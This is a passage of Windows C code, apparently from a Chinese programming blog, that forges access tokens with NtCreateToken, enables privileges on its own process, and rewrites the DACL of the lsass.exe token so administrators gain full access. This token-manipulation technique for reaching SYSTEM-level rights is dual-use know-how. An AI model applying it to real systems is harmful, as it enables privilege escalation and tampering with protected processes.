if(IfIsSystemUser == 0) //一般用户
memcpy(token_source.SourceName,"seclogon",8);
else
memcpy(token_source.SourceName,"*SYSTEM*",8);
//生成LUID
//token_source.SourceIdentifier = Luid;
if(!AllocateLocallyUniqueId(&(token_source.SourceIdentifier)))
{
printf("AllocateLocallyUniqueId for token_source Failed:%d/n",GetLastError());
return INVALID_HANDLE_VALUE;
}
if(IfIsSystemUser == 0)
{
//将该用户权限加入到当前用户所使用的 桌面 和 winstation
//hwinsta = OpenWindowStation("WinSta0",TRUE,WINSTA_ALL);
hwinsta = GetProcessWindowStation();
if (hwinsta == NULL)
{
printf("OpenWindowStation Error:%d/n",GetLastError());
return INVALID_HANDLE_VALUE;
}
//hwinstaold = GetProcessWindowStation();

//
// set the windowstation to winsta0 so that you obtain the
// correct default desktop
//
/*
if (!SetProcessWindowStation(hwinsta))
{
printf("SetProcessWindowStation Error:%d/n",GetLastError());
CloseWindowStation(hwinsta);
return INVALID_HANDLE_VALUE;
}
*/
//
// obtain a handle to the "default" desktop
//
//hdesk = OpenDesktop("Default",DF_ALLOWOTHERACCOUNTHOOK,FALSE,DESKTOP_ALL);
hdesk = GetThreadDesktop(GetCurrentThreadId());
if (hdesk == NULL)
{
printf("OpenDesktop Error:%d/n",GetLastError());
CloseWindowStation(hwinsta);
return INVALID_HANDLE_VALUE;
}
// add the user to interactive windowstation
//
AddUserPrivToHandle(hwinsta,user,WINSTA_ALL);
AddUserPrivToHandle(hdesk,user,DESKTOP_ALL);
/*
if (!AddTheAceWindowStation(hwinsta, token_user.User.Sid))
{
printf("AddTheAceWindowStation Error:%d/n",GetLastError());
CloseWindowStation(hwinsta);
CloseDesktop(hdesk);
return INVALID_HANDLE_VALUE;
}
//
// add user to "default" desktop
//
if (!AddTheAceDesktop(hdesk, token_user.User.Sid))
{
printf("AddTheAceDesktop Error:%d/n",GetLastError());
CloseWindowStation(hwinsta);
CloseDesktop(hdesk);
return INVALID_HANDLE_VALUE;
}
*/
if (!SetProcessWindowStation(hwinsta))
{
printf("SetProcessWindowStation Error:%d/n",GetLastError());
CloseWindowStation(hwinsta);
return INVALID_HANDLE_VALUE;
}
if(!SetThreadDesktop(hdesk))
{
printf("SetThreadDesktop Error:%d/n",GetLastError());
CloseDesktop(hdesk);
return INVALID_HANDLE_VALUE;
}
//
// close the handles to the interactive windowstation and desktop
//
CloseWindowStation(hwinsta);
CloseDesktop(hdesk);
}
//开始create
ntstatus = NtCreateToken( &token,
DesiredAccess,
&object_attributes,
tokentype,
&Luid,
&ExpireTime,
&token_user,
token_groups,
token_privileges,
&token_owner,
&token_primary_group,
&token_default_dacl,
&token_source
);
if(ntstatus != STATUS_SUCCESS)
{
printf("CreateToken Failed:%d/n",LsaNtStatusToWinError(ntstatus));
return INVALID_HANDLE_VALUE;
}
//开始释放内存
/*
pfree(token_user.User.Sid);
pfree(token_groups);
pfree(token_privileges);
pfree(token_owner.Owner);
pfree(token_primary_group.PrimaryGroup);
if(NewAcl != NULL)
LocalFree(NewAcl);
*/
/*
printf("NewToken:/n");
DisplayTokenSessionId(token);
*/
if(TokenSessionId > 0)
{
sessionlen = sizeof(DWORD);
if(!SetTokenInformation(token,TokenSessionId,&SessionId,sessionlen))
{
printf("SetTokenInformation TokenSessionId Failed:%d/n",GetLastError());
}
}
return token;
}


//输出:指针指向一系列的group,groupcount为group数目.
BOOL GetUserGroup(char *username,char ***groupname,int *groupcount)
{
LPLOCALGROUP_USERS_INFO_0 pBuf = NULL;
DWORD dwLevel = 0;
DWORD dwFlags = LG_INCLUDE_INDIRECT ;
DWORD dwPrefMaxLen = -1;
DWORD dwEntriesRead = 0;
DWORD dwTotalEntries = 0;
NET_API_STATUS nStatus;
DWORD i;
DWORD dwTotalCount = 0;
WCHAR wUserName[100];//,wAdminGroup[50];
BOOL returnvalue=FALSE;
char *p;
DWORD len;
char **name;

MultiByteToWideChar( CP_ACP, 0, username,-1, wUserName,sizeof(wUserName)/sizeof(wUserName[0]));
//MultiByteToWideChar( CP_ACP, 0, admingroup,-1, wAdminGroup,sizeof(wAdminGroup)/sizeof(wAdminGroup[0]));

nStatus = NetUserGetLocalGroups(NULL,wUserName,dwLevel,dwFlags,(LPBYTE *) &pBuf,dwPrefMaxLen,&dwEntriesRead,&dwTotalEntries);

if (nStatus != NERR_Success)
{
return returnvalue;
}

if(pBuf == NULL)
return returnvalue;


name = (char **) malloc(dwEntriesRead * sizeof(char *));
if(name == NULL)
{
printf("malloc failed in GetUserGroup for name:%d/n",GetLastError());
return returnvalue;
}
returnvalue = TRUE;
for (i = 0; i < dwEntriesRead; i++)
{
if (pBuf == NULL)
return returnvalue;
len = wcslen(pBuf->lgrui0_name);
p = (char *) malloc(len+1);
if(p == NULL)
{
printf("malloc failed in GetUserGroup:%d/n",GetLastError());
break;
}
wsprintf(p,"%S",pBuf->lgrui0_name);
name[dwTotalCount] = p;
//printf("%d:%s/n",dwTotalCount,p);
pBuf++;
dwTotalCount++;
}
if(pBuf != NULL)
NetApiBufferFree(pBuf);
*groupname = name;
*groupcount = dwTotalCount;
return returnvalue;
}
//加权限
int GrantPriv(char *priv)
{
HANDLE token;
TOKEN_PRIVILEGES tkp;
HANDLE hProc;

//SeCreateTokenPrivilege
if(LookupPrivilegeValue(NULL,priv,&tkp.Privileges[0].Luid) == FALSE)
{
fprintf(stderr, "LookupPrivilegeValue failed: 0x%X/n", GetLastError());
return(-1);
}
if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token) == FALSE)
{
fprintf(stderr, "OpenProcessToken SELF Failed: 0x%X/n", GetLastError());
return(-1);
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(token,FALSE,&tkp,0,NULL, NULL))
{
fprintf(stderr,"AdjustTokenPrivileges Failed: 0x%X/n", GetLastError());
return(-1);
}
/*
else
{
switch(GetLastError())
{
case ERROR_SUCCESS:
printf("The function adjusted all specified privileges./n");
break;
case ERROR_NOT_ALL_ASSIGNED: //0x514
printf("Adjust privileges not assigned/n");
break;
}
}
*/
CloseHandle(token);
return 0;
}

//从 lsass.exe 继承权限
int GrantPrivFromLsass(int pid)
{
HANDLE LsassHandle,LsassToken,NewToken;

//首先打开进程,获得HANDLE
//PROCESS_QUERY_INFORMATION ,FALSE
//LsassHandle = OpenProcess(PROCESS_ALL_ACCESS,TRUE,pid);
LsassHandle = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,pid);
//在OpenProcessToken(READ|WRITE
if(LsassHandle == NULL)
{
printf("OpenProcess %d Error:%d/n",pid,GetLastError());
return -1;
}
//再opentoken
if(!OpenProcessToken(LsassHandle,STANDARD_RIGHTS_READ|WRITE_DAC,&LsassToken))
{
printf("OpenProcessToken First Error:%d/n",GetLastError());
CloseHandle(LsassHandle);
return -1;
}
//得到Token的ACL信息
//pSecurityDescriptor = NULL;
//size = 0;
//len = 0;
//先申请内存
if(!AddUserPrivToHandle(LsassToken,"administrators",TOKEN_ALL_ACCESS))
{
CloseHandle(LsassToken);

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值